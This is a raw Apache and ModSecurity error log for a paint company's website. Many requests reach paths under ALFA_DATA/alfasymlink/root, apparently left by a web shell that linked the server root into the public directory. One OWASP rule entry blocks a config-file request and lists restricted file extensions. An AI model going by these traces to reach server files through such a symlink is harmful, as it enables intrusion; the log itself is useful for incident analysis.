[Tue Oct 27 09:27:11.134383 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmo4tJJepdLpwoj9P-sgAAAAw"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:27:11.134437 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmo4tJJepdLpwoj9P-sgAAAAw"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:27:11.206966 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.209.89.189:7581] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:27:23.144936 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.4.213.199:26457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:27:31.215058 2026] [ssl:error] [pid 3237989:tid 3237989] (70014)End of file found: [client 23.21.204.95:15547] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:27:43.104222 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 23.21.179.27:8892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/driver/bind
[Tue Oct 27 09:27:43.104798 2026] [security2:error] [pid 3240911:tid 3240911] [client 23.21.179.27:8892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/driver/bind"] [unique_id "auCmzwY08XOpcUzVxFxS_wAAABM"]
[Tue Oct 27 09:27:43.104832 2026] [security2:error] [pid 3240911:tid 3240911] [client 23.21.179.27:8892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/driver/bind"] [unique_id "auCmzwY08XOpcUzVxFxS_wAAABM"]
[Tue Oct 27 09:27:55.170031 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 44.213.36.21:3614] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:27:59.025358 2026] [ssl:error] [pid 3237989:tid 3237989] (70014)End of file found: [client 35.153.86.200:38953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:03.055190 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 52.73.6.26:63164] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:15.142064 2026] [ssl:error] [pid 3238465:tid 3238465] (70014)End of file found: [client 100.29.107.38:63055] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:26.785497 2026] [ssl:error] [pid 3240212:tid 3240212] (70014)End of file found: [client 52.22.87.224:56036] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:30.776555 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.235.158.162:49129] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:39.012602 2026] [ssl:error] [pid 3240711:tid 3240711] (70014)End of file found: [client 98.83.177.42:13499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:43.499450 2026] [ssl:error] [pid 3240714:tid 3240714] (70014)End of file found: [client 3.215.221.125:6380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:28:58.649681 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.204.89.12:25589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:29:22.365304 2026] [core:error] [pid 3238316:tid 3238316] (13)Permission denied: [client 52.22.87.224:13496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/subsystem/uevent
[Tue Oct 27 09:29:34.387772 2026] [ssl:error] [pid 3238316:tid 3238316] (70014)End of file found: [client 3.93.253.174:3731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:29:42.633317 2026] [core:error] [pid 3238316:tid 3238316] (13)Permission denied: [client 85.208.96.193:41662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/close_delay
[Tue Oct 27 09:29:46.233186 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 52.202.233.37:11410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:29:48.935845 2026] [security2:error] [pid 3240715:tid 3240715] [client 107.172.76.131:59396] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnQd6XOKPJcVnECbx1OgAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 09:29:48.935898 2026] [security2:error] [pid 3240715:tid 3240715] [client 107.172.76.131:59396] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnQd6XOKPJcVnECbx1OgAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 09:29:50.540384 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 52.45.77.169:10929] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:29:54.211595 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 52.5.242.243:10966] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:29:55.304527 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnR5YAlP-bYGqEryjMGgAAAAI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:29:55.304579 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnR5YAlP-bYGqEryjMGgAAAAI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:29:58.751613 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnSotJJepdLpwoj9P-uwAAAAw"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:29:58.751675 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCnSotJJepdLpwoj9P-uwAAAAw"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:30:10.207240 2026] [ssl:error] [pid 3240212:tid 3240212] (70014)End of file found: [client 52.203.65.83:38393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:30:12.286596 2026] [security2:error] [pid 3240714:tid 3240714] [client 16.216.88.127:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "auCnZOnQkM1I2-cea2NKFQAAABI"]
[Tue Oct 27 09:30:12.287075 2026] [security2:error] [pid 3240714:tid 3240714] [client 16.216.88.127:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "auCnZOnQkM1I2-cea2NKFQAAABI"]
[Tue Oct 27 09:30:12.287479 2026] [security2:error] [pid 3240714:tid 3240714] [client 16.216.88.127:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "auCnZOnQkM1I2-cea2NKFQAAABI"]
[Tue Oct 27 09:30:14.312542 2026] [ssl:error] [pid 3240711:tid 3240711] (70014)End of file found: [client 44.206.65.8:36645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:30:22.199468 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 3.231.193.38:56242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/driver/serial8250/tty/ttyS3/iomem_base
[Tue Oct 27 09:30:26.229620 2026] [ssl:error] [pid 3240714:tid 3240714] (70014)End of file found: [client 18.213.102.186:28297] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:30:34.226822 2026] [ssl:error] [pid 3240711:tid 3240711] (5)Input/output error: [client 3.221.50.71:45836] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:30:46.198172 2026] [ssl:error] [pid 3238315:tid 3238315] (5)Input/output error: [client 54.88.84.219:37962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:06.298923 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 100.28.133.214:16607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:10.318361 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.243.63.52:6033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:14.190752 2026] [security2:error] [pid 3240170:tid 3240170] [client 3.94.156.104:19914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/"] [unique_id "auCnouniQ5OkfzdNj_8NFQAAABg"]
[Tue Oct 27 09:31:14.190820 2026] [security2:error] [pid 3240170:tid 3240170] [client 3.94.156.104:19914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/"] [unique_id "auCnouniQ5OkfzdNj_8NFQAAABg"]
[Tue Oct 27 09:31:18.179229 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 52.73.142.41:48082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:26.167739 2026] [ssl:error] [pid 3240911:tid 3240911] (5)Input/output error: [client 3.222.190.107:24599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:33.344136 2026] [core:error] [pid 3241916:tid 3241916] (13)Permission denied: [client 85.208.96.198:37314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/slabs
[Tue Oct 27 09:31:54.187458 2026] [ssl:error] [pid 3240902:tid 3240902] (70014)End of file found: [client 3.230.224.6:39755] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:31:58.193530 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 52.203.237.170:40835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:10.261634 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 23.21.175.228:20728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:18.286375 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 52.71.46.142:35919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:22.188474 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 54.90.244.132:1056] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:26.190612 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 54.198.33.233:8649] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:34.193317 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 184.73.167.217:25396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/resource4
[Tue Oct 27 09:32:38.163299 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.206.47.187:4998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:46.151712 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 52.45.29.57:2467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:32:54.387249 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 54.221.203.24:24818] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:06.201871 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 44.205.120.22:31407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:14.180694 2026] [ssl:error] [pid 3241916:tid 3241916] (70014)End of file found: [client 100.29.128.75:21087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:18.804879 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 35.169.240.53:59745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:30.163945 2026] [ssl:error] [pid 3241916:tid 3241916] (70014)End of file found: [client 18.213.70.100:27463] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:34.163418 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 98.84.60.17:60427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:50.197273 2026] [ssl:error] [pid 3241916:tid 3241916] (70014)End of file found: [client 44.214.19.8:44814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:33:54.180883 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 54.83.56.1:21965] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:34:10.206510 2026] [core:error] [pid 3240239:tid 3240239] (13)Permission denied: [client 3.230.69.161:14006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:1d/eject
[Tue Oct 27 09:34:18.383839 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.152.163.42:18279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:34:22.182054 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 44.223.232.55:16311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:34:24.000562 2026] [core:error] [pid 3242140:tid 3242140] (13)Permission denied: [client 144.76.19.24:34322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/pagemap
[Tue Oct 27 09:34:50.164086 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 184.73.239.35:18952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:34:54.460282 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 35.171.141.42:3013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:08.554086 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 85.208.96.200:31258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:14.159457 2026] [core:error] [pid 3242140:tid 3242140] (13)Permission denied: [client 34.235.239.240:47267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/rescan
[Tue Oct 27 09:35:22.175075 2026] [ssl:error] [pid 3241916:tid 3241916] (70014)End of file found: [client 54.83.56.1:16987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:26.153017 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 34.226.89.140:5560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:30.154827 2026] [core:error] [pid 3242146:tid 3242146] (13)Permission denied: [client 100.29.128.75:19251] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:04.0/remove
[Tue Oct 27 09:35:38.286076 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 184.73.68.20:23216] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:40.931592 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 185.191.171.7:23116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:50.233989 2026] [core:error] [pid 3240239:tid 3240239] (13)Permission denied: [client 44.223.232.55:49887] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/driver/uevent
[Tue Oct 27 09:35:54.176794 2026] [ssl:error] [pid 3240166:tid 3240166] (5)Input/output error: [client 52.71.218.25:27756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:35:58.255065 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 107.20.255.194:29081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:36:02.206563 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.219.81.66:57001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:36:26.177347 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 3.224.215.150:33499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:36:34.296870 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 52.204.37.237:62720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/event0/subsystem/input3/device/subsystem/devices/serio1/driver/bind
[Tue Oct 27 09:36:38.366024 2026] [ssl:error] [pid 3240902:tid 3240902] (70014)End of file found: [client 54.85.109.140:34857] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:36:40.694653 2026] [security2:error] [pid 3237888:tid 3237888] [client 107.172.76.131:59467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCo3tlxVzpWq3t5phLI1QAAAA8"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:36:40.694703 2026] [security2:error] [pid 3237888:tid 3237888] [client 107.172.76.131:59467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCo3tlxVzpWq3t5phLI1QAAAA8"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:36:42.148221 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 35.169.119.108:52060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:36:54.150449 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 34.234.197.175:26535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:37:26.203873 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 50.16.216.166:5700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:37:38.402656 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.232.36.1:43914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:01.077943 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 3.220.70.171:13803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:02.150428 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.163.169.168:61970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:06.134579 2026] [core:error] [pid 3242145:tid 3242145] (13)Permission denied: [client 3.227.180.70:6358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/subsystem/uevent
[Tue Oct 27 09:38:10.129679 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 34.234.197.175:14740] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:12.690255 2026] [security2:error] [pid 3240898:tid 3240898] [client 3.224.95.233:52102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/escalade/license"] [unique_id "auCpRJdmMGxxO1vNNOWovwAAAAY"]
[Tue Oct 27 09:38:12.690307 2026] [security2:error] [pid 3240898:tid 3240898] [client 3.224.95.233:52102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/escalade/license"] [unique_id "auCpRJdmMGxxO1vNNOWovwAAAAY"]
[Tue Oct 27 09:38:14.156296 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 54.156.55.147:55439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:22.371726 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 34.231.45.47:61444] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:38.136189 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 34.195.60.66:64912] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:44.411795 2026] [core:error] [pid 3240898:tid 3240898] (13)Permission denied: [client 185.191.171.2:27824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/total_objects
[Tue Oct 27 09:38:50.143009 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 54.235.172.96:23962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:38:54.224712 2026] [ssl:error] [pid 3240704:tid 3240704] (70014)End of file found: [client 44.206.65.8:6160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:02.318438 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 34.231.77.232:1437] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:06.140761 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 23.21.119.232:42219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:10.140614 2026] [ssl:error] [pid 3240170:tid 3240170] (5)Input/output error: [client 34.233.114.237:61667] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:22.351532 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 23.23.99.55:47244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:30.147461 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.3.102.51:7356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:34.165546 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.194.95.99:52816] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:38.269254 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 3.94.156.104:49038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:46.165325 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 34.192.67.98:39113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:48.636099 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 185.191.171.13:44688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/slabs_cpu_partial
[Tue Oct 27 09:39:50.267509 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.231.77.232:3294] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:39:58.218355 2026] [core:error] [pid 3238477:tid 3238477] (13)Permission denied: [client 3.224.215.150:32292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/0000:00:03.0/rescan
[Tue Oct 27 09:40:02.133030 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 34.194.226.74:24997] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:40:14.134062 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 23.21.204.95:27322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:40:26.181763 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.92.171.106:17264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:40:38.285628 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 3.219.81.66:52151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:40:54.163122 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 52.73.6.26:6155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:41:10.133643 2026] [ssl:error] [pid 3240704:tid 3240704] (70014)End of file found: [client 3.89.170.186:28984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:41:22.141921 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 18.204.152.114:28395] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:41:42.168546 2026] [core:error] [pid 3240170:tid 3240170] (13)Permission denied: [client 3.213.85.234:22616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0d/subsystem/drivers/battery/bind
[Tue Oct 27 09:41:43.583860 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 85.208.96.207:11808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:42:06.150303 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 34.231.156.59:7945] AH02013: coalesce failed to read from data bucket
